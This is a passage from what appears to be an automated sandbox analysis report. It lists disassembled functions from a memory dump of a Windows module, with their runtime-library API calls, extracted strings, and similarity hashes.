std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A227
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A245

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 1de8b7eccab01ad7a09271a052b801435df1aadbdcf19e4f1800be032525a8fa
Instruction ID: ee8854bb162388f3d1e7313a58c37fe784be2bb0af3e4796857dea0e450bf027
Opcode Fuzzy Hash: 1de8b7eccab01ad7a09271a052b801435df1aadbdcf19e4f1800be032525a8fa
Instruction Fuzzy Hash: 1F119E75948129CBCF01FBA8DC40EEDB775EF85314F164009F510AB291DB759A0A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F375, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F37C
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F386
int.LIBCPMT ref: 6DD1F39D

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F3D7
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F3F7
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F415

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 35cf61e31b243e5359299a8e87571b22d3d7eae56a762840ffa353ffba1110cc
Instruction ID: d874b6b888ecc53b211631424b92df8b10825e8505f787ddaa269fa26bb54276
Opcode Fuzzy Hash: 35cf61e31b243e5359299a8e87571b22d3d7eae56a762840ffa353ffba1110cc
Instruction Fuzzy Hash: 78119E7290C529DBCF01FBA8DC50AFDB774EF85324F264049F610A7291DB7499068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F2CF, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1F2D6
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1F2E0
int.LIBCPMT ref: 6DD1F2F7

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1F331
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1F351
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1F36F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: 22d5a536be178e629b6a8ee93138d519451423869c2716700b680513acf5374e
Instruction ID: 8f0e5e5ab558b3a1163743d039e96de44095497cb623cc2f2a7cba4453ce05de
Opcode Fuzzy Hash: 22d5a536be178e629b6a8ee93138d519451423869c2716700b680513acf5374e
Instruction Fuzzy Hash: 7B119E7290C129CBCF01FBA4DC40AFDB775EF85714F16404AF620AB291EB7599058BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1A24B, Relevance: 9.1, APIs: 6, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD1A252
std::_Lockit::_Lockit.LIBCPMT ref: 6DD1A25C
int.LIBCPMT ref: 6DD1A273

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

std::_Facet_Register.LIBCPMT ref: 6DD1A2AD
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD1A2CD
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD1A2EB

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrow
String ID:
API String ID: 651022567-0
Opcode ID: be04d6164b94b84951cad1cfb3db61e8fc5297a1fb7e59b4931d266345eaa87e
Instruction ID: 3861b1541ede9579781f192adaa84d28e70c5052b31c0e4f56c5384a476dd9b9
Opcode Fuzzy Hash: be04d6164b94b84951cad1cfb3db61e8fc5297a1fb7e59b4931d266345eaa87e
Instruction Fuzzy Hash: 06119E719481299BCF01FBA8DC40EFDB775EF95324F161009F610AB291DB75990A8BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD175E8, Relevance: 9.0, APIs: 6, Instructions: 33COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6DD175F4

Part of subcall function 6DD173A9: std::exception::exception.LIBCONCRT ref: 6DD173B6

__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17602

Part of subcall function 6DD33D74: RaiseException.KERNEL32(?,?,6DD175E7,00000000,?,?,?,?,?,?,?,6DD175E7,00000000,6DDD14C0,?), ref: 6DD33DD4

std::invalid_argument::invalid_argument.LIBCONCRT ref: 6DD17614

Part of subcall function 6DD173E3: std::exception::exception.LIBCONCRT ref: 6DD173F0

__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17622
std::regex_error::regex_error.LIBCPMT ref: 6DD17634

Part of subcall function 6DD17426: std::exception::exception.LIBCONCRT ref: 6DD1743E

__CxxThrowException@8.LIBVCRUNTIME ref: 6DD17642

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throwstd::exception::exception$std::invalid_argument::invalid_argument$ExceptionRaisestd::regex_error::regex_error
String ID:
API String ID: 2570946744-0
Opcode ID: a1402ffb851a3cf2d3f6938f6a97a64c3e78ed4988e8f03d3cf634f86076f93f
Instruction ID: 32ac676fdc5699cd46c6f2486575129fdc2d7c7e9a71b75b2a4ff08d077a670f
Opcode Fuzzy Hash: a1402ffb851a3cf2d3f6938f6a97a64c3e78ed4988e8f03d3cf634f86076f93f
Instruction Fuzzy Hash: 37F03A38C0810CB7CF04FBE4FD45CADB77CEA04200F414920BB6492051EB75A21A87E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD153EB, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77COMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 6DD153F5
__Getcvt.LIBCPMT ref: 6DD1540B
__Getcvt.LIBCPMT ref: 6DD15445

Strings

false, xrefs: 6DD15466
true, xrefs: 6DD1547B

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Getcvt$H_prolog3_catch_
String ID: false$true
API String ID: 1810345438-2658103896
Opcode ID: d98d66e0d54950e94d99cb724bc5ef981c151689e499b97d08400575e169e761
Instruction ID: 1ba187336c67cee8cecd6aa9578585c94f376a9a240d45f2559b8a9d0df85cc4
Opcode Fuzzy Hash: d98d66e0d54950e94d99cb724bc5ef981c151689e499b97d08400575e169e761
Instruction Fuzzy Hash: 332160B5D05228ABDB11EFA4DC84AEE7BB8FF05310F05406AF9089F601E7749955CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5970F, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,6DD596A5,?,?,6DD59645,?,6DDD2D28,0000000C,6DD5978A), ref: 6DD5972F
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6DD59742
FreeLibrary.KERNEL32(00000000,?,?,?,6DD596A5,?,?,6DD59645,?,6DDD2D28,0000000C,6DD5978A), ref: 6DD59765

Strings

CorExitProcess, xrefs: 6DD5973A
mscoree.dll, xrefs: 6DD59728

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 30505b5cb9bc833024c922dbcfaed0b8fc7c256d145f0e6e7b4484c5898d5849
Instruction ID: 06a5c20be33b7a387e1addf1c962b637ef15912a5e7020440dd950470eb90de9
Opcode Fuzzy Hash: 30505b5cb9bc833024c922dbcfaed0b8fc7c256d145f0e6e7b4484c5898d5849
Instruction Fuzzy Hash: 72F04971901119FBEF01BFA1CC48FBEBFB8EB06355F0040A9F909A2251CB308A55CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD64E2A, Relevance: 7.7, APIs: 5, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35f1e91be1f7c9e64df0eaf274d1f4c19498e587581e781674dadf71246356a5
Instruction ID: 11adf1ca5e01cc882222b9e30e752d1a68adfc9d4ee6f6975e81aa3863ac7525
Opcode Fuzzy Hash: 35f1e91be1f7c9e64df0eaf274d1f4c19498e587581e781674dadf71246356a5
Instruction Fuzzy Hash: 0471BF31944297DBDB11AB98C884ABFBB75EF46310F204269F96067286C771C885CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5A737, Relevance: 7.6, APIs: 5, Instructions: 129COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6DD5A7A9
_free.LIBCMT ref: 6DD5A7C9

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: dce93b0545553d788b8684ca5da83906f410500a436d62f25c668d15b8d6a19a
Instruction ID: 018d045ac9d83167062020201a1c363c78920d8f7d70000f3f71f625ba846fbb
Opcode Fuzzy Hash: dce93b0545553d788b8684ca5da83906f410500a436d62f25c668d15b8d6a19a
Instruction Fuzzy Hash: 3F41D236E402149FDF10EF78C880A6DB7B5EF85318F1685A9E615EB241D731B912CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD6CCC3, Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6DD6CCDB

Part of subcall function 6DD5CBD3: HeapFree.KERNEL32(00000000,00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000), ref: 6DD5CBE9
Part of subcall function 6DD5CBD3: GetLastError.KERNEL32(00000000,?,6DD6CFAF,00000000,00000000,00000000,00000000,?,6DD6D2B4,00000000,00000007,00000000,?,6DD6C0FC,00000000,00000000), ref: 6DD5CBFB

_free.LIBCMT ref: 6DD6CCED
_free.LIBCMT ref: 6DD6CCFF
_free.LIBCMT ref: 6DD6CD11
_free.LIBCMT ref: 6DD6CD23

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 0c462bfda0701cc688269b2ab6a8ba92927bcd715c5090b1298101e9ba13e336
Instruction ID: 1f9683ab47bdc906f604fe10ca1abb43cc7211b6b2fcfa4ace957131d6d6b464
Opcode Fuzzy Hash: 0c462bfda0701cc688269b2ab6a8ba92927bcd715c5090b1298101e9ba13e336
Instruction Fuzzy Hash: 94F03731548245DBCF10FB5DE880E3B3BFAEA06310B625809F128D7902DB30F8A08AF0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD14267, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6DD1426E
_wcslen.LIBCMT ref: 6DD14281

Strings

MY@yPD, xrefs: 6DD142C2
For, xrefs: 6DD14273, 6DD14349

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog3_catch_wcslen
String ID: MY@yPD$For
API String ID: 1260878687-825579779
Opcode ID: 3f2df897fe82528a390871b4144672bea997d5e527e126aeb776ecc188b0991a
Instruction ID: eaa6c7637932984b87d1cdc55fc5c0253a42e3b9dbe757bf4cfd7a4f7e997123
Opcode Fuzzy Hash: 3f2df897fe82528a390871b4144672bea997d5e527e126aeb776ecc188b0991a
Instruction Fuzzy Hash: 6841903564821DCFCB15FBD8D99096CB7B1FB4E728B228245F5505B392C770A84187E0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5F187, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,?,?,6DD5EFF0,?,?,?,?,?,?,?,?,?,Function_00087D02,000000FF), ref: 6DD5F1DD
GetLastError.KERNEL32(?,6DD5EFF0,?,?,?,?,?,?,?,?,?,Function_00087D02,000000FF), ref: 6DD5F1E7
__dosmaperr.LIBCMT ref: 6DD5F212

Strings

p=b, xrefs: 6DD5F1A1

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID: p=b
API String ID: 2583163307-1659173256
Opcode ID: 2b12bb9a91dc5ef88b4a81a53523d54035e214bda821d3bae969ff2b92d8ae47
Instruction ID: 878c8a0e5c1130da9ef2d06ec4122c747261bf9a4b509ffc8d69dee30eca5963
Opcode Fuzzy Hash: 2b12bb9a91dc5ef88b4a81a53523d54035e214bda821d3bae969ff2b92d8ae47
Instruction Fuzzy Hash: 56010433A081A19AEA153338DD44F7E67794B83738F274259FE24CF1C6DB70C89182A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DCF1EEA, Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 6DCF1F4E

Strings

ios_base::badbit set, xrefs: 6DCF1F0C, 6DCF1F31
ios_base::failbit set, xrefs: 6DCF1F16
ios_base::eofbit set, xrefs: 6DCF1F1B

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: bb32eacd6158cbe31e99ed748dd56be0d49cdc6b41d0fce27ab2cedb4dd459cd
Instruction ID: ee4991f5b7473f200cde5e8f773eda7601cf45d12daf5020661bf41eccdf7f53
Opcode Fuzzy Hash: bb32eacd6158cbe31e99ed748dd56be0d49cdc6b41d0fce27ab2cedb4dd459cd
Instruction Fuzzy Hash: 3BF0C8F2D0420D7BDF85EA5DC941FE933A86F04324F148499FA91AB182F765A943C750

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1407D, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD14084
_strlen.LIBCMT ref: 6DD140AF
_strlen.LIBCMT ref: 6DD140C6

Strings

[json.exception., xrefs: 6DD1409F, 6DD140A7, 6DD140C5, 6DD140CD

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: _strlen$H_prolog3
String ID: [json.exception.
API String ID: 2883720156-791563284
Opcode ID: 04bb3431d721a57da3531ffab3a2189023965d872db5722f233ed76132f744e7
Instruction ID: 931150d0b8b43dcd8365d4d2914347e06da7bb2cf36340f5ad6f752099988bc7
Opcode Fuzzy Hash: 04bb3431d721a57da3531ffab3a2189023965d872db5722f233ed76132f744e7
Instruction Fuzzy Hash: 79F090B0608215AFCB05AF78DC406BEB6E9FF85318F46011AF119D7341CBB4594087B1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD5F345, Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 6DD5F3D0
__alldvrm.LIBCMT ref: 6DD5F5D1
__alldvrm.LIBCMT ref: 6DD5F5F3

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 6deae34975e8103ed65886de447e5f7072f6a5271229e2bb310e9ca1a4878613
Instruction ID: 2d67c79c6d4b8b00abf894fa4c7b7caecd8153b5f77ce91250c8ededc23ca0d4
Opcode Fuzzy Hash: 6deae34975e8103ed65886de447e5f7072f6a5271229e2bb310e9ca1a4878613
Instruction Fuzzy Hash: E1A12672A08387DFEB12EF78C8907AEBBA5EF46314F1541A9F5959F282C3388951C750

Uniqueness

Uniqueness Score: -1.00%

Function 6DD66102, Relevance: 6.1, APIs: 4, Instructions: 110COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,6DD80EA8,00000000,00000000,008B018B,6DD5DA1E,?,00000004,00000001,6DD80EA8,0000007F,?,008B018B,00000001), ref: 6DD6614F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6DD661D8
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6DD661EA
__freea.LIBCMT ref: 6DD661F3

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 035e1a9354ab335fadea09402625bc055546917eb2e38c780a76e67da1277b96
Instruction ID: 08d998eef6ed932992060a65a215c90625a2fdf39c804a87c625843a69035b26
Opcode Fuzzy Hash: 035e1a9354ab335fadea09402625bc055546917eb2e38c780a76e67da1277b96
Instruction Fuzzy Hash: F131B072A0025AEBEF15AFA4CC40EBE7BA5EB41714F1541A8FC14D6241EB39C951CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD63E7F, Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,FlsSetValue), ref: 6DD63EB1
GetLastError.KERNEL32(?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,FlsSetValue,6DD81C58,FlsSetValue,00000000,00000364,?,6DD5D6D1), ref: 6DD63EBD
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,FlsSetValue,6DD81C58,FlsSetValue,00000000), ref: 6DD63ECB

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: daa038539bb3e9e58a65d425a84bc8eb66d116ad024b36a1920ba5cfd507bf12
Instruction ID: 10c7ce198cad665035f7586435c4289b1abd8b16f8c1bc3224d0342d1aa508a3
Opcode Fuzzy Hash: daa038539bb3e9e58a65d425a84bc8eb66d116ad024b36a1920ba5cfd507bf12
Instruction Fuzzy Hash: FB01D4326652B3ABEB126FA98C44E5777A8AB077A1F140364FD4AD3542DB21D800C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD21558, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD2155F
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DD21594

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

numpunct.LIBCPMT ref: 6DD215A5

Part of subcall function 6DD20143: __EH_prolog3.LIBCMT ref: 6DD2014A

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DD215B6

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$H_prolog3$LocinfoLocinfo::_$Locinfo::~_Locinfo_ctorLockitLockit::_numpunct
String ID:
API String ID: 495030518-0
Opcode ID: ec9d7ea184fded9684709db1b66f7b72255ba9f870dc1c7adb0d9a3ab799a287
Instruction ID: 9095eb9c676f84977d7236e4ad77bd57f24e372c48a12108e1e2bc32e60d56bd
Opcode Fuzzy Hash: ec9d7ea184fded9684709db1b66f7b72255ba9f870dc1c7adb0d9a3ab799a287
Instruction Fuzzy Hash: F501F4B194421ADECB10EFA8C850BEEBB70AF44788F124155F749BB285CBB04B01CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD214EC, Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6DD214F3
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DD21528

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
